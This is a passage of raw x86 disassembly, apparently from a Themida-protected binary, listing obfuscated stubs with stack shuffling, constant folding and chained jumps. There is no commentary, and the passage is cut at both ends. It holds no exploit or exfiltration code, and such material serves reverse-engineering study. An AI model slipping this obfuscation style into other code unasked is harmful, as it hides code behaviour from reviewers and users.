xchg ebp, [esp]
pop esp
shl word ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59B6A6: ; CODE XREF: Themida_:0059F40Cj
push edi
jmp loc_5A9B28
; ---------------------------------------------------------------------------
loc_59B6AC: ; CODE XREF: Themida_:005A9FE0j
add ecx, 405A467Ah
sub ecx, 40678A25h
add eax, ecx
jmp loc_59C997
; ---------------------------------------------------------------------------
loc_59B6BF: ; CODE XREF: Themida_:005A7399j
push 6377h
mov [esp], ecx
push 1775h
mov [esp], edx
mov edx, 737B7310h
jmp loc_5A5E91
; ---------------------------------------------------------------------------
loc_59B6D9: ; CODE XREF: Themida_:0059675Ej
push eax
mov eax, 281D5FEEh
mov edx, eax
jmp loc_5A9C8E
; ---------------------------------------------------------------------------
loc_59B6E6: ; CODE XREF: Themida_:005A0EFAj
pop eax
add ebx, 4A12326Dh
sub eax, ebx
jmp loc_5A3D4B
; ---------------------------------------------------------------------------
loc_59B6F4: ; CODE XREF: Themida_:00597F4Aj
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
jmp loc_596DBA
; ---------------------------------------------------------------------------
loc_59B703: ; CODE XREF: Themida_:00597A42j
sub [esp+4], edx
jmp loc_5A75D0
; ---------------------------------------------------------------------------
loc_59B70C: ; CODE XREF: Themida_:005AA63Dj
not eax
xchg eax, esi
push ebx
jmp loc_598C40
; ---------------------------------------------------------------------------
loc_59B715: ; CODE XREF: Themida_:0059B7CCj
add edi, 2E694EDBh
add edi, esi
sub edi, 2E694EDBh
pop esi
push eax
mov eax, 76B0003Fh
or edi, eax
pop eax
push eax
push ecx
jmp loc_5AAA55
; ---------------------------------------------------------------------------
loc_59B734: ; CODE XREF: Themida_:005A7DC3j
pop ecx
push ecx
jmp loc_5A69AD
; ---------------------------------------------------------------------------
loc_59B73B: ; CODE XREF: Themida_:005A91F3j
add edx, ebp
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_59C528
; ---------------------------------------------------------------------------
loc_59B74E: ; CODE XREF: Themida_:0059C2ADj
not ebx
not ebx
inc ebx
push edx
jmp loc_59FB3F
; ---------------------------------------------------------------------------
loc_59B759: ; CODE XREF: Themida_:005A4579j
mov ecx, 30A726AFh
jmp loc_59811F
; ---------------------------------------------------------------------------
loc_59B763: ; CODE XREF: Themida_:0059620Cj
push ax
jmp loc_5AB2E0
; ---------------------------------------------------------------------------
loc_59B76A: ; CODE XREF: Themida_:005A152Cj
and eax, esi
push dword ptr [esp]
mov esi, [esp]
push ecx
mov ecx, esp
sub esp, 4
mov [esp], edx
mov edx, 0F135034h
inc edx
sub edx, 0FFFFFFFFh
sub edx, 8954DC7h
inc edx
shr edx, 5
jmp loc_59B861
; ---------------------------------------------------------------------------
loc_59B793: ; CODE XREF: Themida_:0059655Cj
push 80Eh
mov [esp], ebx
jmp loc_59EE18
; ---------------------------------------------------------------------------
loc_59B7A0: ; CODE XREF: Themida_:00598557j
mov edi, 0C4B89D7Ch
sub esi, edi
pop edi
add ebx, esi
pop esi
push ebx
jmp loc_599409
; ---------------------------------------------------------------------------
loc_59B7B1: ; CODE XREF: Themida_:005A4526j
push dword ptr [esp]
jmp loc_5A013C
; ---------------------------------------------------------------------------
loc_59B7B9: ; CODE XREF: Themida_:005A8A2Aj
add eax, 87DA8D60h
xor edi, eax
pop eax
push esi
jmp $+5
mov esi, 35F4485Ah
jmp loc_59B715
; ---------------------------------------------------------------------------
loc_59B7D1: ; CODE XREF: Themida_:005A01FBj
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_5A136E
; ---------------------------------------------------------------------------
loc_59B7E7: ; CODE XREF: Themida_:005A6FBFj
push eax
mov eax, 611470A1h
add eax, 6DA15AD1h
and eax, 47930AEh
shr eax, 2
push 6D97h
mov [esp], eax
jmp loc_5984CF
; ---------------------------------------------------------------------------
loc_59B807: ; CODE XREF: Themida_:00596FDDj
push edx
jmp loc_598F93
; ---------------------------------------------------------------------------
loc_59B80D: ; CODE XREF: Themida_:005A9470j
sub ebx, 0D545BCAh
jmp loc_5A8030
; ---------------------------------------------------------------------------
loc_59B818: ; CODE XREF: Themida_:0059F72Dj
push eax
mov eax, esp
push edx
mov edx, 2E5823F2h
sub edx, 43BA1BE6h
neg edx
inc edx
xor edx, 1561F7F1h
jmp loc_59CD03
; ---------------------------------------------------------------------------
loc_59B835: ; CODE XREF: Themida_:00597798j
mov ecx, [esp]
add esp, 4
xor ecx, 6601587Bh
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5A3608
; ---------------------------------------------------------------------------
loc_59B861: ; CODE XREF: Themida_:0059B78Ej
sub edx, 33F00Fh
add ecx, edx
pop edx
push 488Eh
mov [esp], eax
push esi
mov esi, 6AE238BAh
or esi, 7EC0CBCh
not esi
sub esi, 523E0E00h
neg esi
jmp loc_59ADCD
; ---------------------------------------------------------------------------
loc_59B88D: ; CODE XREF: Themida_:005AA73Bj
pop edi
dec ebp
jmp loc_59646F
; ---------------------------------------------------------------------------
loc_59B894: ; CODE XREF: Themida_:00596169j
mov eax, 4EE749B7h
jmp loc_5A08FC
; ---------------------------------------------------------------------------
loc_59B89E: ; CODE XREF: Themida_:005A7E73j
mov edi, [esp]
add esp, 4
sub ebx, 4
jmp loc_5A034F
; ---------------------------------------------------------------------------
loc_59B8AC: ; CODE XREF: Themida_:005A9310j
pop dx
sub esp, 2
jmp loc_5A06EF
; ---------------------------------------------------------------------------
loc_59B8B6: ; CODE XREF: Themida_:0059636Dj
mov [esp], eax
jmp loc_598562
; ---------------------------------------------------------------------------
loc_59B8BE: ; CODE XREF: Themida_:005A7429j
sub dword ptr [esp+4], 356C4E1Ah
add [esp+4], edi
add dword ptr [esp+4], 356C4E1Ah
push 2F9Eh
jmp loc_59D9CB
; ---------------------------------------------------------------------------
loc_59B8DC: ; CODE XREF: Themida_:0059BA04j
add ebx, 1A144AB3h
pop edx
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A2CD2
; ---------------------------------------------------------------------------
loc_59B8F1: ; CODE XREF: Themida_:005AA7C8j
add ecx, 3B2C47DEh
push eax
push 535Ch
jmp loc_597D1A
; ---------------------------------------------------------------------------
loc_59B902: ; CODE XREF: Themida_:005A5FE8j
pop esp
mov [esp], bx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
jmp loc_59E179
; ---------------------------------------------------------------------------
loc_59B922: ; CODE XREF: Themida_:0059780Dj
xor edx, [esp]
pop esp
push ebx
mov bl, cl
mov [edi+38h], bl
pop ebx
mov ecx, [esp]
add esp, 4
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59B938: ; CODE XREF: Themida_:005A8C2Cj
pop ebx
shl ebp, 8
neg ebp
xor ebp, 0EFAA5700h
mov ebx, ebp
pop ebp
sub ebx, edx
mov edx, ebx
jmp loc_59C740
; ---------------------------------------------------------------------------
loc_59B950: ; CODE XREF: Themida_:005A6AC8j
add esp, 4
push ecx
dec dword ptr [esp]
pop ecx
jmp loc_5A6020
; ---------------------------------------------------------------------------
loc_59B960: ; CODE XREF: Themida_:005A0CF2j
pop esi
add ebx, 23C83554h
sub ebx, 770E6E30h
push edi
mov edi, 36E1527Ch
not edi
dec edi
jmp loc_59C6E9
; ---------------------------------------------------------------------------
loc_59B97B: ; CODE XREF: Themida_:005A7630j
push edi
push edx
push 0AA8586Ah
pop edx
jmp loc_59C12D
; ---------------------------------------------------------------------------
loc_59B988: ; CODE XREF: Themida_:00597B16j
add esp, 4
xchg ecx, ebx
jmp loc_5A76A1
; ---------------------------------------------------------------------------
loc_59B995: ; CODE XREF: Themida_:005A679Cj
sub ebp, 743663E0h
shl ebp, 1
xor ebp, 7BB44A09h
jmp loc_5A0787
; ---------------------------------------------------------------------------
loc_59B9A8: ; CODE XREF: Themida_:0059A4FBj
shl ebp, 7
shr ebp, 8
xor ebp, 57B413BEh
mov ebx, ebp
jmp loc_5A48FA
; ---------------------------------------------------------------------------
loc_59B9BB: ; CODE XREF: Themida_:005A8BA2j
sub esp, 4
mov [esp], ecx
jmp loc_5A96CD
; ---------------------------------------------------------------------------
loc_59B9C6: ; CODE XREF: Themida_:005A35B8j
inc esi
sub esi, 0C3849F81h
jmp loc_596EC2
; ---------------------------------------------------------------------------
loc_59B9D2: ; CODE XREF: Themida_:005A5526j
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5A9523
; ---------------------------------------------------------------------------
loc_59B9E6: ; CODE XREF: Themida_:0059F969j
push 4766h
mov [esp], ebp
mov ebp, 0FFFFFFFFh
sub edx, ebp
pop ebp
add edx, 7D774B73h
sub ebx, 1A144AB3h
add ebx, edx
jmp loc_59B8DC
; ---------------------------------------------------------------------------
loc_59BA09: ; CODE XREF: Themida_:005A5129j
xor esi, [esp]
jmp loc_5A31F9
; ---------------------------------------------------------------------------
loc_59BA11: ; CODE XREF: Themida_:005A352Ej
pop bx
mov ecx, [esp]
add esp, 4
jmp loc_5A9963
; ---------------------------------------------------------------------------
loc_59BA21: ; CODE XREF: Themida_:005A7B01j
mov eax, 771620AAh
jmp loc_5A395D
; ---------------------------------------------------------------------------
loc_59BA2B: ; CODE XREF: Themida_:005A0360j
shr cl, 7
jmp loc_5A9C18
; ---------------------------------------------------------------------------
loc_59BA33: ; CODE XREF: Themida_:0059F83Dj
mov [esp], ebp
xchg eax, [esp]
xchg eax, ebp
xor ebp, esi
xor esi, ebp
xor ebp, esi
jmp loc_59F25D
; ---------------------------------------------------------------------------
loc_59BA45: ; CODE XREF: Themida_:005A8574j
mov esp, [esp]
or eax, eax
jnz loc_59C030
push 1
push dword ptr [esp]
pop edx
push 0A0Eh
mov [esp], ecx
mov ecx, esp
push edx
mov edx, 43611B1h
xor edx, 5216175Ch
not edx
add edx, 562006F2h
add ecx, edx
pop edx
push 3FDBh
mov [esp], eax
jmp loc_596596
; ---------------------------------------------------------------------------
loc_59BA87: ; CODE XREF: Themida_:005A7EB7j
pop eax
jmp loc_5AA946
; ---------------------------------------------------------------------------
loc_59BA8D: ; CODE XREF: Themida_:005A0EE6j
mov ebp, 4
add [esp+4], ebp
mov ebp, [esp]
jmp loc_5A6BC3
; ---------------------------------------------------------------------------
loc_59BA9E: ; CODE XREF: Themida_:005A5468j
pop ebp
add esp, 4
add ax, 16C9h
jmp loc_5990B0
; ---------------------------------------------------------------------------
loc_59BAAB: ; CODE XREF: Themida_:00596199j
pop edx
add esp, 4
jmp loc_5A56F1
; ---------------------------------------------------------------------------
loc_59BAB4: ; CODE XREF: Themida_:0059ABD8j
pop eax
mov ebx, [esp]
add esp, 4
jmp loc_5A6A91
; ---------------------------------------------------------------------------
loc_59BAC0: ; CODE XREF: Themida_:0059E796j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 2
mov [esp], cx
mov ch, 3Dh
jmp loc_596BBC
; ---------------------------------------------------------------------------
loc_59BAE0: ; CODE XREF: Themida_:00598529j
push edi
mov edi, 5615410Ah
or edi, 144A6E75h
jmp loc_598DBF
; ---------------------------------------------------------------------------
loc_59BAF1: ; CODE XREF: Themida_:0059AE1Dj
mov ecx, 5FA18A00h
sub edi, 523125A0h
sub edi, ecx
push ebx
mov ebx, 4977461Bh
and ebx, 6BF07423h
shl ebx, 2
xor ebx, 58B17FD3h
shr ebx, 4
jmp loc_5A8579
; ---------------------------------------------------------------------------
loc_59BB1B: ; CODE XREF: Themida_:00597C95j
xchg edx, [esp]
pop esp
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59BB24: ; CODE XREF: Themida_:00597BE9j
add ecx, 46101127h
mov edi, ecx
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, 57465A68h
jmp loc_59602D
; ---------------------------------------------------------------------------
loc_59BB3D: ; CODE XREF: Themida_:0059D78Fj
add eax, edx
add eax, 5C996FBAh
pop edx
pop edx
sub esp, 4
mov [esp], eax
push edi
mov edi, esp
push ebp
jmp loc_59E6C8
; ---------------------------------------------------------------------------
loc_59BB55: ; CODE XREF: Themida_:005A4A5Bj
add ecx, ebx
pop ebx
add ecx, 4
push 6DE2h
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_5976D3
; ---------------------------------------------------------------------------
loc_59BB7D: ; CODE XREF: Themida_:005AA77Bj
mov esp, [esp]
add esp, 4
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5A1135
; ---------------------------------------------------------------------------
loc_59BB95: ; CODE XREF: Themida_:005A8E98j
mov [esp], ebx
mov ebx, 326D1360h
shr ebx, 5
push eax
mov eax, 1936899h
add ebx, 5C5A7505h
sub ebx, 20814A3Dh
add ebx, 25452548h
jmp loc_5AAEE9
; ---------------------------------------------------------------------------
loc_59BBBD: ; CODE XREF: Themida_:005A27ABj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_5A7BDA
; ---------------------------------------------------------------------------
loc_59BBCB: ; CODE XREF: Themida_:00599911j
mov edx, 0
add edx, ecx
xor dword ptr [edx], 73353301h
mov edx, [esp]
add esp, 4
jmp loc_5AA0BE
; ---------------------------------------------------------------------------
loc_59BBE6: ; CODE XREF: Themida_:005A6AD9j
mov ah, dh
inc ah
mov dh, ah
pop eax
jmp loc_596A51
; ---------------------------------------------------------------------------
loc_59BBF2: ; CODE XREF: Themida_:005A9F00j
pop ebx
shl ebx, 1
inc ebx
jmp loc_5A8861
; ---------------------------------------------------------------------------
loc_59BBFB: ; CODE XREF: Themida_:005A451Cj
pop esp
xor esi, ebp
pop ebp
add ebx, esi
jmp loc_5A39A5
; ---------------------------------------------------------------------------
loc_59BC06: ; CODE XREF: Themida_:0059B3FFj
not esi
jmp loc_5A14FD
; ---------------------------------------------------------------------------
loc_59BC0D: ; CODE XREF: Themida_:005A8F5Fj
not ebp
shr ebp, 4
not ebp
push edi
push ebx
mov ebx, 0DD6CAF78h
mov edi, ebx
pop ebx
sub ebp, edi
pop edi
push ebp
sub dword ptr [esp], 71A15778h
jmp loc_5A94C1
; ---------------------------------------------------------------------------
loc_59BC2E: ; CODE XREF: Themida_:005AABCCj
add esp, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_5AB2C0
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebx
push esi
jmp loc_5A6CF3
; ---------------------------------------------------------------------------
loc_59BC51: ; CODE XREF: Themida_:0059F4FFj
pop edx
pop dword ptr [esp]
pop esp
jmp loc_59FDD2
; ---------------------------------------------------------------------------
loc_59BC5B: ; CODE XREF: Themida_:005963C0j
mov ecx, [esp]
add esp, 4
xor ecx, 21DF536Eh
jmp loc_5A27B0
; ---------------------------------------------------------------------------
loc_59BC6C: ; CODE XREF: Themida_:00598F84j
pop edx
dec ebp
shl ebp, 5
shr ebp, 7
add ebp, 2F482E03h
sub ebp, 3065BC9Fh
add edi, ebp
pop ebp
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
sub esp, 4
jmp loc_5A3181
; ---------------------------------------------------------------------------
loc_59BC98: ; CODE XREF: Themida_:0059A4ADj
add esp, 4
add ecx, eax
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A9E71
; ---------------------------------------------------------------------------
loc_59BCA8: ; CODE XREF: Themida_:0059A6B3j
mov ah, 0F2h
jmp loc_5A9C64
; ---------------------------------------------------------------------------
loc_59BCAF: ; CODE XREF: Themida_:0059DF1Aj
add esp, 4
jmp loc_598FFF
; ---------------------------------------------------------------------------
loc_59BCBA: ; CODE XREF: Themida_:00599F60j
mov ecx, [edx]
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, 4
and ecx, ebp
push dword ptr [esp]
push dword ptr [esp]
pop ebp
jmp loc_5A3367
; ---------------------------------------------------------------------------
loc_59BCEA: ; CODE XREF: Themida_:005AB479j
sub eax, 177951F9h
sub eax, esi
jmp loc_5A2F1C
; ---------------------------------------------------------------------------
loc_59BCF6: ; CODE XREF: Themida_:005A5D08j
push dword ptr [esp+4]
jmp loc_5A0D2B
; ---------------------------------------------------------------------------
loc_59BCFF: ; CODE XREF: Themida_:0059EE13j
push 1D73h
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
push ecx
jmp loc_5A1AAC
; ---------------------------------------------------------------------------
loc_59BD26: ; CODE XREF: Themida_:00597F77j
push ebp
mov ebp, 27ED59BEh
sub edi, ebp
jmp loc_59F86C
; ---------------------------------------------------------------------------
loc_59BD33: ; CODE XREF: Themida_:0059F4A8j
add ecx, 9C22D9h
mov eax, [esp]
add esp, 4
xor ecx, [esp]
jmp loc_5AA8D1
; ---------------------------------------------------------------------------
loc_59BD47: ; CODE XREF: Themida_:0059987Dj
sub edx, 0EAF2A6Eh
push ecx
mov ecx, 0A7236D8h
add edx, ecx
pop ecx
mov edi, [esp]
jmp loc_59FE84
; ---------------------------------------------------------------------------
loc_59BD5E: ; CODE XREF: Themida_:005A769Cj
mov [esp], cx
push 3A5Dh
mov [esp], ebx
mov bl, 3Bh
push 6A18h
mov [esp], eax
push ecx
mov ch, 0FEh
mov al, ch
mov ecx, [esp]
add esp, 4
push small 5933h
mov [esp], bx
mov bh, 0BDh
jmp loc_5AAEF6
; ---------------------------------------------------------------------------
loc_59BD91: ; CODE XREF: Themida_:0059D1C8j
mov esi, ebp
push dword ptr [esp]
pop ebp
jmp loc_59C337
; ---------------------------------------------------------------------------
loc_59BD9C: ; CODE XREF: Themida_:00596CAFj
mov edi, ebx
mov ebx, [esp]
jmp loc_5A373F
; ---------------------------------------------------------------------------
loc_59BDA6: ; CODE XREF: Themida_:0059A972j
xchg ebx, [esp]
pop esp
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_5A004D
; ---------------------------------------------------------------------------
loc_59BDC2: ; CODE XREF: Themida_:005A49DCj
mov esi, [esp]
jmp loc_5AA23D
; ---------------------------------------------------------------------------
loc_59BDCA: ; CODE XREF: Themida_:0059D26Bj
xchg eax, [esp]
pop esp
jmp loc_5A85B8
; ---------------------------------------------------------------------------
loc_59BDD3: ; CODE XREF: Themida_:005A4283j
pop ebx
add esp, 4
add edx, 0AAE028Eh
sub edx, esi
sub edx, 0AAE028Eh
mov esi, [esp]
add esp, 4
xchg edx, [esp]
jmp loc_5A0495
; ---------------------------------------------------------------------------
loc_59BDF6: ; CODE XREF: Themida_:005A5CB6j
push ebp
mov ebp, esp
jmp loc_5AAD7B
; ---------------------------------------------------------------------------
loc_59BDFE: ; CODE XREF: Themida_:005A6DEEj
mov [esp], esi
mov esi, 72444ABAh
shr esi, 4
shl esi, 6
dec esi
jmp loc_5AA1B3
; ---------------------------------------------------------------------------
loc_59BE12: ; CODE XREF: Themida_:005A7E14j
mov cl, 0AEh
dec cl
not cl
jmp loc_5A30BB
; ---------------------------------------------------------------------------
loc_59BE1D: ; CODE XREF: Themida_:005A259Aj
push eax
mov eax, 4A1415A5h
add eax, 1
jmp loc_5A2588
; ---------------------------------------------------------------------------
loc_59BE2B: ; CODE XREF: Themida_:005A9DB1j
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A0C6F
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59BE4C: ; CODE XREF: Themida_:005A9433j
sub esp, 4
mov [esp], ecx
mov ecx, 785C1C07h
sub esp, 4
jmp loc_59EB22
; ---------------------------------------------------------------------------
loc_59BE62: ; CODE XREF: Themida_:005975CAj
add eax, 612F019Dh
pop esi
push ecx
mov ecx, 4
jmp loc_5A0424
; ---------------------------------------------------------------------------
loc_59BE73: ; CODE XREF: Themida_:005A808Fj
mov edx, esp
add edx, 4
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], edx
jmp loc_5A48EB
; ---------------------------------------------------------------------------
loc_59BE93: ; CODE XREF: Themida_:0059CDF5j
inc ebx
jmp loc_59DF5E
; ---------------------------------------------------------------------------
loc_59BE99: ; CODE XREF: Themida_:005A7CD2j
push edi
mov edi, 304E161Dh
or edi, 78871319h
shr edi, 2
shl edi, 3
or edi, 3E126F7Ah
xor edi, 0B5551B9Eh
sub eax, edi
pop edi
jmp loc_597F4F
; ---------------------------------------------------------------------------
loc_59BEBF: ; CODE XREF: Themida_:005AA7A3j
shr ebx, 2
xor ebx, 26017221h
sub esp, 4
mov [esp], ecx
jmp loc_59D315
; ---------------------------------------------------------------------------
loc_59BED6: ; CODE XREF: Themida_:0059CB17j
add esi, 0C5ABA2Fh
xor edi, esi
pop esi
or ecx, edi
pop edi
push eax
mov eax, 2A3E111Ah
add eax, 5530096Fh
jmp loc_5AB42D
; ---------------------------------------------------------------------------
loc_59BEF2: ; CODE XREF: Themida_:005A6071j
pop ebx
xor al, 65h
mov bl, al
pop eax
sub al, bl
jmp loc_59803F
; ---------------------------------------------------------------------------
loc_59BEFF: ; CODE XREF: Themida_:0059D70Aj
or ebp, 0DE47D4Eh
jmp loc_5AA5DA
; ---------------------------------------------------------------------------
loc_59BF0A: ; CODE XREF: Themida_:005A9921j
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 682B7F03h
add ebp, 97D48101h
add ebx, ebp
pop ebp
xchg ebx, [esp]
pop esp
push eax
jmp loc_599C96
; ---------------------------------------------------------------------------
push 7034h
sub esp, 4
mov [esp], esp
jmp loc_5A4EDA
; ---------------------------------------------------------------------------
loc_59BF3F: ; CODE XREF: Themida_:005AB192j
pop ecx
sub bh, 6
add al, bh
mov ebx, [esp]
add esp, 4
push ebx
mov bl, 0C6h
sub al, bl
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_5A1622
; ---------------------------------------------------------------------------
loc_59BF61: ; CODE XREF: Themida_:005A9758j
or [edi+1Ch], ecx
mov ecx, [esp]
push eax
mov eax, esp
push esi
push edx
push 56F0015Dh
pop edx
add edx, 2B4D3B24h
sub edx, 166D19F7h
sub edx, 267C1F06h
jmp loc_597EF6
; ---------------------------------------------------------------------------
loc_59BF89: ; CODE XREF: Themida_:005A2123j
mov ecx, 29EA3008h
add ecx, 0BEA279AEh
add ebx, ecx
mov ecx, [esp]
add esp, 4
sub eax, 6A290D08h
sub eax, ebx
push ebp
push 6A290D08h
jmp loc_59EC13
; ---------------------------------------------------------------------------
loc_59BFB1: ; CODE XREF: Themida_:005A3098j
add esp, 4
or [edi+1Ch], eax
push dword ptr [esp]
pop eax
push 70CCh
mov [esp], esi
push esp
pop esi
push eax
mov eax, 78944E7Dh
shl eax, 2
jmp loc_59FD94
; ---------------------------------------------------------------------------
loc_59BFD3: ; CODE XREF: Themida_:00596070j
mov esp, [esp]
mov [esp], esi
jmp loc_5A15D3
; ---------------------------------------------------------------------------
loc_59BFDE: ; CODE XREF: Themida_:005A9843j
shl esi, 7
jmp loc_5A3596
; ---------------------------------------------------------------------------
loc_59BFE6: ; CODE XREF: Themida_:005A9B15j
pop esi
add esi, 42F87C32h
jmp loc_59C422
; ---------------------------------------------------------------------------
loc_59BFF2: ; CODE XREF: Themida_:005A533Cj
mov edx, esp
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_599958
; ---------------------------------------------------------------------------
loc_59C00E: ; CODE XREF: Themida_:005A4F53j
mov cl, 2Ah
add al, cl
pop ecx
mov edx, [esp]
add esp, 4
xor bl, al
sub esp, 4
mov [esp], edx
push edi
push ebx
mov ebx, 5EA70E81h
jmp loc_5AAD43
; ---------------------------------------------------------------------------
loc_59C030: ; CODE XREF: Themida_:0059BA4Aj
; Themida_:005A8BAAj ...
push dword ptr [edi+24h]
push esi
sub esp, 4
mov [esp], edx
mov edx, 570B32EDh
shr edx, 4
jmp loc_599D23
; ---------------------------------------------------------------------------
loc_59C047: ; CODE XREF: Themida_:00596B9Ej
mov bl, 46h
add al, bl
pop ebx
sub al, 0EDh
add al, 9Dh
jmp loc_5AB1DA
; ---------------------------------------------------------------------------
loc_59C055: ; CODE XREF: Themida_:005A8C4Dj
push ebx
push 2DA3h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_59D932
; ---------------------------------------------------------------------------
loc_59C067: ; CODE XREF: Themida_:005A8A23j
pop esi
jmp loc_5A44D6
; ---------------------------------------------------------------------------
loc_59C06D: ; CODE XREF: Themida_:0059B095j
mov eax, 7BA80CFDh
jmp loc_5A7554
; ---------------------------------------------------------------------------
loc_59C077: ; CODE XREF: Themida_:005A091Bj
pop esp
test cl, al
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59C080: ; CODE XREF: Themida_:0059A925j
add esi, 2
xchg esi, [esp]
mov esp, [esp]
mov cx, [esp]
jmp loc_5966F6
; ---------------------------------------------------------------------------
loc_59C092: ; CODE XREF: Themida_:0059C44Dj
mov esi, eax
mov eax, [esp]
add esp, 4
push edx
mov edx, 426046C7h
add ebx, edx
jmp loc_5A72B3
; ---------------------------------------------------------------------------
loc_59C0A7: ; CODE XREF: Themida_:005AB2E9j
sub dl, 0FFh
jmp loc_5980A9
; ---------------------------------------------------------------------------
loc_59C0AF: ; CODE XREF: Themida_:005A4BE8j
pop eax
add esi, edx
add esi, 0BF866BEh
jmp loc_5A7729
; ---------------------------------------------------------------------------
loc_59C0BD: ; CODE XREF: Themida_:0059F389j
push 1BAFh
mov [esp], ecx
push eax
mov ah, 1
jmp loc_599E6A
; ---------------------------------------------------------------------------
loc_59C0CD: ; CODE XREF: Themida_:005AA3E8j
push dword ptr [esp]
jmp loc_5A4E64
; ---------------------------------------------------------------------------
loc_59C0D5: ; CODE XREF: Themida_:005AA49Aj
push 7977h
mov [esp], ebp
jmp loc_5A5348
; ---------------------------------------------------------------------------
loc_59C0E2: ; CODE XREF: Themida_:0059FCDBj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59C0E7: ; CODE XREF: Themida_:005975D1j
or esi, 3EF3608Fh
push esi
not dword ptr [esp]
pop esi
sub esi, 80AFCh
add edi, 7C2C1BA4h
jmp loc_5A5A03
; ---------------------------------------------------------------------------
loc_59C103: ; CODE XREF: Themida_:00597801j
imul cx, ax
push cx
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59C10F: ; CODE XREF: Themida_:00598AF4j
sub al, 86h
jmp loc_5AA15A
; ---------------------------------------------------------------------------
loc_59C116: ; CODE XREF: Themida_:005A44EEj
mov edi, 396B1FDFh
dec edi
xor edi, 8C87031h
add edx, 0F0A4CE0h
jmp loc_5A20F7
; ---------------------------------------------------------------------------
loc_59C12D: ; CODE XREF: Themida_:0059B983j
shl edx, 2
xor edx, 0ADA47273h
mov edi, edx
pop edx
add edx, edi
pop edi
add edx, edi
push dword ptr [edx]
sub dword ptr [esp], 64B7096Eh
pop eax
push 3F14h
jmp loc_5AAF1D
; ---------------------------------------------------------------------------
loc_59C152: ; CODE XREF: Themida_:005A33EBj
add esi, 4
xchg esi, [esp]
pop esp
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59C16F: ; CODE XREF: Themida_:005A1E4Bj
push 3B45h
mov [esp], ecx
mov ecx, 5A8D3D0Dh
sub [esp+8], ecx
pop ecx
pop eax
mov edx, [esp]
add esp, 4
sub esp, 4
jmp loc_5A5897
; ---------------------------------------------------------------------------
loc_59C193: ; CODE XREF: Themida_:0059E1D0j
add edx, 7EAF7022h
sub edx, ecx
sub edx, 7EAF7022h
sub edx, 1AA54A02h
jmp loc_596C2E
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
push eax
mov eax, 154F23EDh
push ebp
jmp loc_5A2353
; ---------------------------------------------------------------------------
loc_59C1BF: ; CODE XREF: Themida_:005A38E2j
and ebx, 77632113h
push edi
mov edi, 3BAF5F18h
add edi, 605BF8FAh
jmp loc_596577
; ---------------------------------------------------------------------------
loc_59C1D6: ; CODE XREF: Themida_:0059DF64j
mov eax, ebx
jmp loc_5A2619
; ---------------------------------------------------------------------------
loc_59C1DD: ; CODE XREF: Themida_:0059F54Cj
xor edi, edx
mov edx, [esp]
push ebp
jmp loc_5A78F1
; ---------------------------------------------------------------------------
loc_59C1E8: ; CODE XREF: Themida_:005A8BEBj
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_5A6183
; ---------------------------------------------------------------------------
loc_59C1F9: ; CODE XREF: Themida_:005AA91Aj
push ecx
mov cl, 5Dh
xor cl, 9
xor cl, 0A2h
add dl, cl
pop ecx
add al, dl
pop dx
push edx
jmp loc_597B44
; ---------------------------------------------------------------------------
loc_59C20F: ; CODE XREF: Themida_:005A9547j
push edx
mov edx, 2
add edi, edx
pop edx
jmp loc_5A29D5
; ---------------------------------------------------------------------------
loc_59C21D: ; CODE XREF: Themida_:0059914Dj
add esi, 48D51F89h
pop ecx
push 450Fh
mov [esp], ebx
mov ebx, 136E57BAh
sub ebx, 311D73BDh
shr ebx, 5
dec ebx
sub ebx, 10D420EEh
dec ebx
push ecx
jmp loc_5A7115
; ---------------------------------------------------------------------------
loc_59C248: ; CODE XREF: Themida_:005A20A9j
sub edx, 0FFA1FB9h
add edx, esi
add edx, 0FFA1FB9h
